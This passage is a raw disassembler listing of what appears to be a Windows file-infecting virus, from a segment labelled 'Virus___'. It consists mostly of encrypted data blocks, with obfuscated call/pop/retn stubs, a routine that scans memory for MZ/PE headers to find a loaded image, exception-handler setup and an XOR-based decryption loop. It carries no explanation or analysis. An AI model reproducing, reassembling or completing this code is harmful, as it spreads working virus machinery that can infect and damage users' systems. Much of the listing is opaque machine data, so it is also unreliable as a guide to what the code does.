11E862h, 0AC40000h dd 0EF3B6A1Ah, 4005F44Bh, 7BD7EAF9h, 0FC3644E2h, 0C65Bh dd 33598589h, 85C7095Dh, 95D0545h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5BC723 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC723 proc near ; CODE XREF: Virus___:005BC71Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5BC723 endp ; --------------------------------------------------------------------------- db 94h dd 6E91B4Bh, 0D9000000h, 5F8797B5h, 0CBF781CFh, 2B66BC20h dd 5D0B0DBDh, 0F2EBE909h, 830FFFFFh, 3, 8B36CB80h, 18DF81C1h dd 8D6DB67Ah, 5D223985h, 6650F509h, 897EF2BBh, 6AF82404h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 3DBD8B5Ah, 8B095D30h, 5D2AF19Dh, 0E9006A09h dd 0Eh, 92025079h, 8B630DA4h, 2A5011C0h, 9D2B5B42h, 95D21EDh dd 1E6D858Dh, 0C0830962h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0FDF483FCh dd 890FF0h, 90000000h, 310F5250h, 5BD88A53h, 9050585Ah dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 2FC35141h dd 29608852h, 5D0C7985h, 3810F09h, 0F000000h, 8161D7B7h dd 67B411D7h, 6A006A0Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 7180C356h, 119D8BCDh dd 31095D2Bh, 5D0CDDB5h, 6A006A09h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 859BC350h dd 0FFD88B66h, 5D085195h, 52006A09h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0EFDA336Bh dd 8D832D30h, 60914C8Dh, 51006A09h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 4A200C3Ah, 6AD1FFA6h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0EEB6C350h, 0E83DB40Ch, 7, 90F53087h, 8B380096h dd 0BD835BFBh, 95D0971h, 9A850F01h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0A682C353h, 0ECDC4D84h, 898D01CBh, 6A095D13h, 53006A02h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0BBF68296h, 1CB35F4Dh, 24048950h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0D6C35747h, 0FF8DEE39h, 5D14C995h dd 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0BAD91CFAh, 28853519h, 0EB1E95Eh, 0E80000h dd 5D000000h, 1E77ED81h, 6A0962h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 2A5271C3h, 33BADB4Ch dd 0F881E7Bh, 68Ch, 1D9D8900h, 6A095D31h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 1F07C356h dd 23B58589h, 858D095Dh, 9608AE2h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0F8C35545h, 0BD8BC648h, 95D14CDh dd 4569BF90h, 0F502502h, 0C8Dh, 52506000h, 585A310Fh, 0DB09BB66h dd 0E9609061h, 9, 9ED355F0h, 153BA8A6h, 0FF6461C3h, 35h dd 0CE900h, 37E50000h, 6A38DBDAh, 4F9DE351h, 0BD01E8FBh dd 95D0839h, 258964h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 57C1C352h, 3C03C34Ah dd 8AC8F384h, 0FFD7DB80h, 5D216985h, 52006A09h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0D2343C93h dd 0A36D01DDh, 0C860Fh, 880F0000h, 6, 2BAD8529h, 0FF6A095Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9EC35747h dd 0BA4ABC48h, 0B724BF6Ch, 0C5B5FFF1h, 0E8095D29h, 8, 9C4AD622h dd 1B1E0C78h, 13840Fh, 0DE80000h, 0B6000000h, 53093624h dd 0FCA02CBDh, 0C007E045h, 0BD8B5B5Bh, 95D02E5h, 38595FFh dd 0E9095Dh, 33000001h, 5D28119Dh, 0E800B009h, 14h, 1923220Eh dd 0E904246Ch, 3774B6D8h, 7AAF5353h, 208AA5B8h, 81D8589h dd 0E65F095Dh, 0C5858970h, 0E4095D06h, 0F613C71h, 0C683h dd 45B58900h, 0F095D23h, 9D8BC8B6h, 95D184Dh, 6BAh, 91850100h dd 8B095D09h, 0FD8D89C1h, 0C1095D21h, 0BD8904E8h, 95D182Dh dd 89E2F766h, 5D227D9Dh, 0C82BF809h, 0AD9D8B57h, 5F095D02h dd 80E9D18Bh, 0F000000h, 681h, 0ED9D8B00h, 8B095D21h, 47554C85h dd 7CEB8049h, 8B07C083h, 0C083D8h, 5AB4F781h, 0D03B1477h dd 13830Fh, 0BD8B0000h, 95D0B7Dh, 48E9D88Bh, 8B000000h dd 5D263D9Dh, 0FF8D8B09h, 0E9FFFFFFh, 9, 910005B4h, 6AF3BEC2h dd 1E1839Ah, 25840Fh, 0CEB30000h, 0FFFFA583h, 89FEFFFFh dd 5D333DB5h, 0C9B58909h, 89095D26h, 47554C95h, 0DB816649h dd 0E94F70h, 8D000000h, 6198ECB5h, 13E809h, 66BF0000h dd 0BED0E10h, 8F5ED315h, 1BC7544Bh, 0AF10CD59h, 0FABF0FB1h dd 6A006A5Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 2691C357h, 9A6FBB3Bh, 12E9CCh dd 7CB40000h, 63BA3AEh, 0B76BF421h, 74E0DC61h, 1B9B4389h dd 11B195FFh, 6A095Dh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 747621C3h, 2138B877h, 6E9h, 3D77DF00h dd 0B982F3D6h, 0FCCh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0EDC35747h, 0C55174C8h, 0DD8D29D5h, 83095D26h dd 8D89FCE1h, 95D0935h, 0F88B66FCh, 9D896053h, 95D0371h dd 0B85B61h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 9FA7C351h, 0AF55B484h dd 9D8B626Ch, 95D2EFDh, 0BAh, 0BCD78000h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 54C35747h, 903125C3h, 698D0912h, 6A095D03h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 61CC353h, 1ACE01CCh, 1B77736h, 880Dh, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0CFF1CE0h, 8B83B1F7h, 5D02B59Dh, 19958B09h, 6A095D09h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 134BC355h, 2BEA454Eh, 498D8B74h, 6A095D13h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0D2C0C356h, 8B5879F1h, 5D0279BDh, 0C28B5009h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 81ECC352h, 9E48A038h, 51006A8Dh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 8DC10376h, 0FAB70F6Fh dd 0F9BA6660h, 0C1B589C7h, 61095D26h, 3169BD83h, 0F00095Dh dd 7984h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0F856E10Fh, 263C05E8h, 0FE8B0F38h dd 18ED9D0Bh, 0B8095Dh, 0F000000h, 0C8Ch, 68A0F00h, 8B000000h dd 5D09899Dh, 928D8D09h, 6A095D4Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1ADEC357h dd 6642CBE6h, 0FF50AEBFh, 0DBB70FE1h, 2AF18509h, 0BD83095Dh dd 95D15F9h, 86840F00h, 6A000004h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0A73CC355h, 39951EBEh, 83DA8BE3h, 5D15F9BDh, 840F0109h dd 470h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 0FDC35040h, 4F628587h, 836C3596h, 5D15F9BDh, 860F0309h dd 40Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0F6C35747h, 0BF607869h, 433F208h, 80D98C66h, 0C90A04E1h dd 162840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 4F152FC3h, 858BF883h, 95D2C0Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9EC35747h dd 0CB815E4Dh, 3937564Eh, 58A0Fh, 0F5BF0000h, 330F3E13h dd 5D276585h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 49894AA5h, 39610A95h, 8B0F6057h dd 6, 8C0Fh, 8D8B0000h, 95D19C1h, 0C9950161h, 90095D31h dd 0DE8B6650h, 50006A90h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0DA2F8A1Ah, 0BFE39123h dd 45D9352Dh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0F4C767C3h, 0A1ADE4A1h, 79858923h dd 68095D0Fh, 8383E22Fh, 481CFB3h, 9B21D024h, 0AD95FF7Ch dd 6A095D0Fh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 6DF5C350h, 1EB8166h, 648589D4h dd 6A0960A5h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 6378C352h, 97B4FE04h, 0D9462A6Ch dd 0A6DDF9BFh, 0C19D8B42h, 0E9095D26h, 1CDh, 0A55C858Bh dd 0C70960h, 18h, 0EF816660h, 0BA664A1Eh, 8B617BB1h, 60A560B5h dd 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0A8A69ED3h, 10F1BD89h, 0D98B095Dh, 3151858Bh dd 0DF81095Dh, 401CF15Fh, 6A0689h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 91B490C3h, 81C9BFAEh dd 858B117Bh, 95D2C0Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0F3C35545h, 0AED9F8DDh, 0BD9F56h, 0D1BD8B19h dd 60095D1Ch, 165E06BAh, 358D8916h, 61095D09h, 6A044689h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 95C7C350h, 6C80A1F8h, 0F8B70F5Dh, 8B63BF50h dd 34891AE1h, 0FFFEB724h, 60A55CB5h, 53006A09h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 7CAEDF02h dd 95DBBB60h, 8B663AD5h, 0D86861CEh, 5766EE6Bh, 289CBF66h dd 2434815Fh, 66F16827h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 66C35343h, 142B4A4Fh, 858DFA0Ch, 960A564h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 94C35646h dd 4DF8613Bh, 9589BD88h, 95D1D51h, 21759D8Bh, 6650095Dh dd 489DE8Bh, 1958924h, 0FF095D29h, 5D0FAD95h, 53006A09h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 119C59D8h, 0E975C874h, 11h, 0DE0BC045h, 29B74385h, 0DDE124F7h dd 1CB7B6Eh, 0F1BF6653h, 6A61B9h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0BF6665C3h, 0BF0F4426h dd 0F985C7F9h, 3095D15h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0D775C357h dd 0E78166ECh, 0BD83742Eh, 960A564h, 4B840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 6689C351h, 0BC86D381h, 40E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 79BB66D2h, 0D282BB6Bh, 305056BDh, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 0CBB360C0h, 30E5BD89h dd 8B61095Dh, 0F9BD83F9h, 3095D15h, 439850Fh, 0BD8B0000h dd 95D063Dh, 0A564BD83h, 0F000960h, 42684h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 75D8BE59h, 31B589E7h, 0FF095D33h, 60A564B5h, 0CD9D8B09h dd 0FF095D16h, 5D0A4195h, 0BD0BFC09h, 95D2655h, 0A558B58Bh dd 6A0960h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 9AF6C1C3h, 0B4A45B3Dh, 0A2CBB66h, 106C7h dd 6A0001h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 25198AC3h, 0B70F3CAFh, 6E896FFh, 12000000h dd 320E0FF2h, 5810F1Dh, 0BB000000h, 1F977785h, 0DE8B505Bh dd 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 77A9B468h, 64B5FF57h, 6A0960A5h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 18F7C350h, 748CE43Ah, 95FF3185h, 95D05FDh, 9E8h, 12C6E400h dd 0E27DD0B1h, 0E95643E6h, 0Bh, 8F149CC6h, 4D34EDA1h, 5B1A5D0Ch dd 58B58B5Fh, 6A0960A5h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 8632C355h, 0D7C0A1B8h dd 858B3D11h, 95D304Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0D0C35141h, 0C4868985h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 1020C355h, 8B462078h, 5D16B9BDh, 19958B09h, 6A095D09h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0A81EC357h, 85891303h, 95D0C4Dh, 8904C283h dd 5D2B198Dh, 20508909h, 16659D8Bh, 8D09095Dh, 95D1629h dd 0BBC1858Dh, 0B5290960h, 95D17A9h, 0B88689h, 0BD8B0000h dd 95D24D5h, 11B9BD31h, 6A095Dh, 5B19F381h, 0B5FF645Eh dd 960A564h, 20299589h, 0BD01095Dh, 95D22ADh, 14C995FFh dd 0BD8B095Dh, 95D1341h, 6A18BF50h, 348947FDh, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0B5FFFC26h, 960A564h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 5DC35343h, 3CB2D88h, 987063C4h, 137D95FFh dd 0BD0B095Dh, 95D0FA9h, 19D1BD83h, 0F00095Dh, 3D84h, 29BD0300h dd 50095D0Bh, 348975B3h, 13E824h, 48150000h, 0B15CAA7Dh dd 3FF519FAh, 0A5DFDFF9h, 0DE7DD447h, 6830F47h, 0F000000h dd 88h, 800F5F00h, 6, 6F19D29h, 0B5FF095Dh, 960A564h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 62C35242h, 6850F11h dd 29000000h, 5D187DBDh, 9595FF09h, 6A095D2Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 183C356h, 0C60D59DBh, 0F602869h, 28Ch, 0E936B600h, 12h dd 0A0FAEE3Ch dd 0E0B00ABAh, 905FC2F8h, 85FD1350h, 0FC610D20h, 0A564B5FFh dd 6A0960h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0B39196C3h, 9595FF72h, 80095D17h, 0BD838CDFh dd 95D0B11h, 77840F02h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 41C0C355h dd 65698DE3h, 0BD03C2D8h, 95D2959h, 51DBD2Bh, 858B095Dh dd 95D2215h, 0C96DF9BFh, 0C655h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0A0C35141h, 7E057269h, 14E9F5h dd 0B72A0000h, 6636AB86h, 0C9B98869h, 5DE1A436h, 75A081Dh dd 85C787BAh, 95D0545h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5BD80B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BD80B proc near ; CODE XREF: Virus___:005BD803p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5BD80B endp ; --------------------------------------------------------------------------- db 0F0h, 90h db 9Bh, 96h, 0E9h dd 0F55E7EAh, 8166DABFh, 0E95D2FF3h, 0FFFFF2AEh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0F2C35343h, 66C18BCEh dd 0BAFCF88Bh, 0F0112000h, 0EA81h, 0C283F000h, 1D958914h dd 83095D28h, 858D14EAh, 9622DC9h, 35FF6450h, 0 ; --------------------------------------------------------------------------- mov large fs:0, esp call $+5 pop eax sub eax, edx and eax, 0FFFFF000h loc_5BD88C: ; CODE XREF: Virus___:005BD8AEj cmp word ptr [eax], 5A4Dh jnz loc_5BD8A9 movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz loc_5BD8B3 loc_5BD8A9: ; CODE XREF: Virus___:005BD891j sub eax, 1000h jmp loc_5BD88C ; --------------------------------------------------------------------------- loc_5BD8B3: ; CODE XREF: Virus___:005BD8A3j mov ecx, eax mov [ebp+95D1A41h], eax add eax, [eax+3Ch] movzx edx, word ptr [eax+6] mov [ebp+95D1A31h], edx mov edx, [eax+50h] mov [ebp+95D29BDh], edx add eax, 0F8h mov edx, [eax+0Ch] add edx, ecx mov [ebp+95D25FDh], edx add edx, [eax+8] mov [ebp+95D1CBDh], edx pop large dword ptr fs:0 add esp, 4 jmp loc_5BD90C ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_5BD90C: ; CODE XREF: Virus___:005BD8F4j cmp dword ptr [ebp+95D317Dh], 0 jz loc_5BD93D mov byte ptr [ebp+95D3335h], 47h push 0D49AA7D2h push dword ptr [ebp+95D0815h] lea eax, [ebp+9607613h] call eax push 0 call eax mov [ebp+95D11EDh], eax loc_5BD93D: ; CODE XREF: Virus___:005BD913j mov edx, ebx call near ptr sub_5BD954 call dword ptr ds:717C0D5Fh mov cl, 0F5h cmp [di-9Ch], ebp test [edi+edx*2], dl ; =============== S U B R O U T I N E ======================================= sub_5BD954 proc far ; CODE XREF: Virus___:005BD93Fp adc eax, 3413A9FEh pop edi sub eax, 6713ACB9h add edi, 5C50h mov cx, ax mov ebx, 0 movzx eax, si loc_5BD972: ; CODE XREF: sub_5BD9D5+49j mov edx, [edi+ebx] xor edx, 12D4A692h movsx eax, ax add edx, 79E916B9h jmp loc_5BD99B ; --------------------------------------------------------------------------- db 0C6h, 0E9h, 0FAh dd 0EB885BE1h, 0F770C889h, 7C69335h db 0D6h, 0A5h, 18h ; --------------------------------------------------------------------------- loc_5BD99B: ; CODE XREF: sub_5BD954+30j sub edx, 36265793h mov si, bx push edx pusha jge loc_5BD9AF mov bx, cx loc_5BD9AF: ; CODE XREF: sub_5BD954+52j jmp loc_5BD9C2 ; --------------------------------------------------------------------------- xchg eax, ebp retf 0D57h ; --------------------------------------------------------------------------- dd 97312284h, 87A43C23h db 0C2h, 24h ; --------------------------------------------------------------------------- loc_5BD9C2: ; CODE XREF: sub_5BD954:loc_5BD9AFj popa pop dword ptr [edi+ebx] pusha push ecx call sub_5BD9D5 inc edi repne adc al, ds:0D45C5FDEh sub_5BD954 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5BD9D5 proc near ; CODE XREF: sub_5BD954+74p pop eax pop edx mov dh, 0Fh popa mov ax, 4710h sub ebx, 54943987h sbb al, 71h add ebx, 54943983h sbb cx, 0F77h cmp ebx, 0FFFFA49Ch jnz loc_5BDA19 sub si, 0D174h jmp loc_5BDA34 ; --------------------------------------------------------------------------- dd 9EC8F72Dh, 5899C50Dh, 44556317h, 47F39113h db 82h ; --------------------------------------------------------------------------- loc_5BDA19: ; CODE XREF: sub_5BD9D5+23j add si, 0EC9Ah jmp loc_5BD972 ; --------------------------------------------------------------------------- db 43h db 0CCh db 0ACh, 0F0h, 7Dh ; --------------------------------------------------------------------------- retn 9072h ; --------------------------------------------------------------------------- db 6Dh dd 282E00FCh, 21CDD0A1h ; --------------------------------------------------------------------------- loc_5BDA34: ; CODE XREF: sub_5BD9D5+2Ej lea ecx, [ebp+9622FF1h] or [ebp+95D0945h], esi push edi cmc pop esi mov [ebp+95D0919h], ecx ja loc_5BDA55 mov [ebp+95D07C5h], edi loc_5BDA55: ; CODE XREF: sub_5BD9D5+74j mov dword ptr [ebp+95D1349h], 6638h push 0 push ebp call sub_5BDA6A and [ebp-3Dh], bl sub_5BD9D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5BDA6A proc near ; CODE XREF: sub_5BD9D5+8Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5BDA6A endp ; --------------------------------------------------------------------------- dw 0D6EDh dd 9D89CA63h, 95D113Dh, 0C68B6660h, 0D852950h, 5F095D09h dd 0F985C761h, 95D15h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0A618C351h dd 662A8C72h, 0E6DD6955h, 11E860h, 0A93B0000h, 0C0C0D46Ch dd 0CC3D65FCh, 1A995766h, 89483CA7h, 5D0B259Dh, 8B665909h dd 0B5FF61D1h, 95D1039h, 2A99BD29h, 95FF095Dh, 95D2259h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 7AC35141h dd 0DDA1DF3Bh, 1301BD8Bh, 6A095Dh, 11B195FFh, 0C08B095Dh dd 30E47CEBh, 33531708h, 0D74365A2h, 13ECE49Ah, 1BDD7C19h dd 5A228F3Fh, 9E14ADA9h, 29176EA1h, 0DD507A17h, 293FA587h dd 0FD426C8Fh, 0ECCC53Eh, 2B0C1371h, 0D60993A6h, 0E5A30067h dd 5973F92Bh, 0E41E7FF5h, 122F3220h, 0BBDC62A0h, 9B3C481Eh dd 20A224E2h, 5C7C6200h, 22AEEDC3h, 0C1618283h, 6C661343h dd 857680CBh, 9D4C14EBh, 0AD7B38B2h, 337277DEh, 77318233h dd 0D9C197EFh, 8D8D97B5h, 9623118h, 198D89F5h, 8B095D09h dd 5D04B985h, 4985C709h, 0CC095D13h, 6A000074h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 81B0C352h, 0D640B5EFh, 0C7CAB206h, 5D15F985h, 9, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 3146D29Fh, 5BD2F381h, 0B5FF14C8h, 95D1039h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 8EC35141h, 0FC85336Ch dd 0FFF88B66h, 5D225995h, 0FF006A09h, 5D11B195h, 0EBC08B09h dd 7A3CA7F4h, 8A9156F4h, 0C5BD0C29h, 0EE143A1Ch, 6164ED86h dd 3203E2Bh, 1972B58Ah, 0F95FA085h, 5929958Fh, 0B55905B2h dd 0FB60A576h, 0F221A947h, 96127F7h, 272EC4D8h, 0B5D14836h dd 28826E6Eh, 132BE8BDh, 606074D9h, 0AB6636Eh, 9224790Dh dd 9E46BF06h, 0A61ECE4Ch, 3B5E9DB9h, 0B0820606h, 5FD81DC9h dd 8EC29F8Eh, 779105AAh, 5DE9F99Eh, 497BE548h, 928C4BA2h dd 9EA81FEh, 0D0AC59CBh, 0A7BF7088h, 2197B974h, 47D6E2E7h dd 36D090A4h, 2F84E3E1h, 37C8E0F8h, 37D0D1EBh, 3184DEE7h dd 3DCADEE9h, 43D690FCh, 3CD190E6h, 0EED6D5ECh, 37F290E9h dd 2FD1E4FAh, 2FE990E4h, 3CCDD8EBh, 0CEA470EDh, 71h dup(0CEA47088h) dd 884D7088h, 36A4708Ah, 0D7C6A4F3h, 0C9EE3A61h, 0F5937B77h dd 0E1E77024h, 0FB89A410h, 0E89E7A2Eh, 86AD19h, 202B6931h dd 346EB199h, 255FE068h, 346EB199h, 0AD5CE36Bh, 0E85D751Eh dd 23C3A07Eh, 0BAB3F394h, 0E72246E5h, 31F3B93Eh, 35EEB94Fh dd 0A322DA6h, 5F99A3BBh, 0AB6CFE46h, 0FAB4FF61h, 74ABB75h dd 1F700C81h, 19E48E46h, 412F88D6h, 0E0946A25h, 0A29144E6h dd 0DF195027h, 0CEA4705Eh, 35EEB93Dh, 0EB5B2DA6h, 0C8F2A27Eh dd 8D0E5CE4h, 7F5C5D03h, 1EB2B695h, 629CE1CDh, 1DA2FD45h dd 8357D36Bh, 966B0428h, 0DF9B1C6Dh, 398D3F09h, 9C3FA7F6h dd 0AEE87506h, 295FB9E8h, 22B97895h, 0E81CAB4Fh, 521415B2h dd 3F998DA0h, 0F9648636h, 0FE0F2F71h, 93A47089h, 0CCF649F1h dd 9CC659E1h, 8EC857FFh, 0C5FF4008h, 0F5C35CE4h, 7513F851h dd 6066F0A4h, 7D0B2591h, 6B19F8ACh, 0B9DCA19Eh, 0FE52899Fh dd 17BB2B01h, 0A3214EC2h, 64BEF948h, 8F97A382h, 39FDF4D6h dd 0E51F013Eh, 2CEF7DC5h, 1EBD7CE2h, 6E142591h, 583A81Ch dd 166B9F34h, 9427A073h, 0C2D74F1Eh, 832A92ECh, 0DD20202Dh dd 0CCFA5ACEh, 33D1D30h, 0F3C89AA2h, 61032701h, 0CEA4220Fh dd 18ED9388h, 91269EEFh, 469A8EA2h, 0F99AE8E5h, 9161C697h dd 0B966695h, 5566DEA0h, 94097ED5h, 4F30420Ah, 4DDC0296h dd 0D1893E2h, 0C5581406h, 0E4F470C8h, 7786868Bh, 24B4B08Dh dd 5D58E24Dh, 7A1E9F8h, 13A60B26h, 57BEC39Dh, 0BEFF3DFDh dd 0CC4F6E63h, 0B4D1ACFDh, 0BEFF3D94h, 0D701010Ch, 2648B0B4h dd 60F2E70h, 0BEFF3D6Eh, 0EAFEBFD2h, 0B4042038h, 0E0253809h dd 0BEFF3E98h, 0FBF5D5F8h, 0F867F699h, 36D9AB93h, 973CA4F5h dd 0BC7E3F01h, 0AAD839EDh, 0D73E4312h, 0BEFF3D7Dh, 6276EEE3h dd 0DA40604Ch, 0EA47088h, 0D1F534D3h, 979E5C2Eh, 8CAE1E75h dd 2C56242Ch, 6FA9BB83h, 2751232Bh, 71ABB981h, 28522028h dd 71ABB981h, 29532129h, 6EA8BA82h, 0A651232Bh, 4F47F9DBh dd 0CEA4744Bh, 0D24FF388h, 0F2D06FDBh, 0D22BCB8Ch, 57F7CCACh dd 0D267F16Bh, 4FA47088h, 0CEA47463h, 0F2B8F788h, 0F298F9D4h dd 4F42F9DEh, 0CEA4744Eh, 0D24AF188h, 55A47088h, 57F894BCh dd 20F19494h, 0EDA22DE0h, 0B825CA8Ch, 150E5FDh, 90254A7Fh dd 0A7283475h, 57FE4501h, 59F0CD67h, 92259494h, 0CEA4708Ch dd 0CEAB4AE0h, 0F288F988h, 392D6D01h, 25BCD80h, 9227CBACh dd 0F2906F8Ch, 0D260F1D7h, 0B7A47088h, 0CD5FB8ABh, 4A300112h dd 0DB320706h, 37428C5h, 93A779EAh, 9BDD5077h, 52248754h dd 3B70951Ch, 0FD0B346h, 0A669D4CBh, 4B59C723h, 0CD4BEF99h dd 0C9F9965Ch, 892F7CBBh, 0DE4E8516h, 0D4158281h, 82BCAB2Dh dd 0F300E649h, 84B7C4D0h, 3155AAEEh, 128C766Ch, 89AEAEA4h dd 5F22D65Ah, 19E49CBFh, 97948BF0h, 6BF0A97Ah, 6D8E9DD8h dd 575A899Ch, 0BF26AF7Ch, 0FFEAE698h, 0D3C28E27h, 0DF4C9F92h dd 0ABA47088h, 4F5CE553h, 178A5304h, 668F8ED4h, 0F21F82C8h dd 27FCC1DBh, 2EC4C7D6h, 0B725D6E9h, 28C5B4F7h, 3C413609h dd 59C27088h, 0CEA4D840h, 7C157088h, 0AF25D6D7h, 0EA2F828Bh dd 901B7FB6h, 0F0343309h, 0D94DB5A7h, 47A47088h, 8A8DAA6Fh dd 0B0A0B7DDh, 0C1254D6Fh, 3786DD0Ch, 1174F1EEh, 